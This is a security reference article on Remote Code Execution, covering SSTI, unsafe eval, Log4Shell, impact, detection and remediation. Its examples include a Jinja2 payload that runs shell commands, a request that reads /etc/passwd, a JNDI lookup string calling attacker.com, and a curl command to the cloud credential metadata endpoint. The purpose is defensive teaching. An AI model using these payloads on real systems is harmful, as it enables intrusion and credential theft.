Description
Remote Code Execution (RCE) is the most severe class of web application vulnerability. It allows an attacker to execute arbitrary code in the context of the server process, effectively taking full control of the affected host. CWE-94 — Improper Control of Generation of Code covers the code injection variant, though RCE can also arise from command injection (CWE-78), deserialization flaws (CWE-502), template injection (CWE-1336), and path traversal combined with file inclusion.
RCE vulnerabilities reach production through multiple mechanisms: unsafe use of eval() or equivalent language constructs, insecure deserialization of user-controlled data, server-side template injection in templating engines, and exploitation of unpatched components that process untrusted input (Struts, Log4Shell, Spring4Shell). Under A03:2021 — Injection, OWASP groups RCE alongside SQL injection and OS command injection as the highest-impact injection outcomes.
The impact of RCE in cloud-hosted environments is amplified by IMDSv1 — an unauthenticated RCE on an EC2 instance immediately grants access to the instance's IAM role credentials, potentially escalating from a single web application compromise to full cloud account takeover.
How It Works
Server-Side Template Injection (SSTI) — the most common modern RCE vector:
POST /render
Content-Type: application/x-www-form-urlencoded
template=Hello+{{7*7}}
If the response contains Hello 49, the template engine is evaluating expressions. In Jinja2 (Python):
# Payload to achieve RCE via Jinja2 SSTI
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Unsafe eval() usage in Node.js:
// Vulnerable: user input passed directly to eval
app.get('/calc', (req, res) => {
const result = eval(req.query.expr);
res.send(String(result));
});
// Attacker request:
// GET /calc?expr=require('child_process').execSync('cat /etc/passwd').toString()
Log4Shell (CVE-2021-44228) — one of the highest-profile RCE vulnerabilities in recent years demonstrated RCE via a logging call:
User-Agent: ${jndi:ldap://attacker.com/exploit}
Any Java application using Log4j 2.0-2.14 would perform a JNDI lookup to the attacker's server and load a malicious class, achieving RCE.
Impact
- Full server compromise — attacker gains a shell with the privileges of the application process, enabling arbitrary file read/write and process execution.
- Data exfiltration — all files accessible to the web process, including configuration files, private keys, and database contents, can be extracted.
- Persistent backdoor installation — web shells (e.g., a PHP file written to the document root) or cron job modifications provide durable access that survives application restarts.
- Lateral movement — internal network access from the compromised server enables pivoting to databases, internal APIs, and other services not exposed externally.
- Cloud credential theft — on cloud-hosted instances, IMDSv1 allows the attacker to obtain IAM role credentials via
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/. - Ransomware deployment — full shell access enables encryption of all accessible storage and disruption of backups.
Detection
- Test all template rendering endpoints — inject
{{7*7}},${7*7},<%= 7*7 %>, and#{7*7}into any parameter that appears to influence rendered output. Confirm SSTI before escalating to RCE payloads. - Audit code for dangerous functions — search for
eval(),exec(),system(),shell_exec(),subprocess.call(shell=True),Runtime.exec(),ProcessBuilder, andpickle.loads()in application source. Each is a potential RCE surface. - Test file upload endpoints for web shell upload — attempt to upload
.php,.jsp,.aspxfiles and determine whether they are stored in a web-accessible location and executed by the server. - Check for exposed deserialization endpoints — look for cookies or POST body fields containing base64-encoded data beginning with
rO0AB(Java serialization) or PHPO:patterns. - Run vulnerability scanners against known CVEs — use
nucleiwith the CVE template library against the target to check for Log4Shell, Spring4Shell, Confluence RCE, and other known deserialization vulnerabilities.
Remediation
Never pass user input to code execution functions. Replace eval(), exec(), and system() with purpose-built alternatives. If dynamic expression evaluation is required, use a sandboxed parser — never the language runtime directly.
Disable dangerous deserialization. Avoid deserialising data from untrusted sources in Java, PHP, and Python. If deserialization is necessary, implement a deserialization allowlist that rejects unexpected class types before any object construction occurs.
Keep all components patched. The highest-impact RCE vulnerabilities in recent years (Log4Shell, Spring4Shell, Apache Struts) were all in third-party libraries. Implement automated dependency scanning (Dependabot, Snyk) with mandatory remediation SLAs.
Run applications with least privilege. The web application process should run as a dedicated low-privilege user with no write access to the document root and no ability to read other users' files.
